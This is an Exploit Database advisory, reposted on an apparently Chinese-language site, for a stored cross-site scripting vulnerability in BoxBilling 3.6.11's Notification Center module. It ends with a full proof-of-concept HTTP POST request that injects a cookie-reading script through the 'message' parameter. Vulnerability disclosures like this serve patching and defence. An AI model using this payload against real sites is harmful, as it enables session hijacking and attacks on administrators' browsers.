BoxBilling 3.6.11 – ‘mod_notification’ Persistent Cross-Site Scripting

• Exploit Database
• 13 阅读

• 作者： LiquidWorm
  日期： 2013-12-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/30083/

• 
  BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability
  
  
  Vendor: BoxBilling
  Product web page: http://www.boxbilling.com
  Affected version: 3.6.11 (mod_notification 1.0.0)
  
  Summary: BoxBilling is a free billing, invoicing & client management software.
  
  Desc: BoxBilling suffers from a stored cross-site scripting vulnerability.
  Input passed to the 'message' POST parameter thru the 'Notification Center'
  extension/module is not properly sanitised before being returned to the user.
  This can be exploited to execute arbitrary HTML and script code in a user's
  browser session in context of an affected site.
  
  Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
   Apache 2.4.2 (Win32)
   PHP 5.4.7
   MySQL 5.5.25a
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2013-5163
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5163.php
  
  
  05.12.2013
  
  --
  
  
  POST /boxbilling/index.php/api/admin/notification/add HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
  Accept: application/json, text/javascript, */*; q=0.01
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Referer: http://localhost/boxbilling/bb-admin.php/notification
  Content-Length: 66
  Cookie: BOXADMR=e%3DZ2pva29AemVyb3NjaWVuY2UubWs%3D%26p%3DZDAzM2UyMmFlMzQ4YWViNTY2MGZjMjE0MGFlYzM1ODUwYzRkYTk5Nw%3D%3D; BOXSID=gsbhumqgrjja1hrei31v3uc4m6
  Connection: keep-alive
  Pragma: no-cache
  Cache-Control: no-cache
  
  message=%22%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E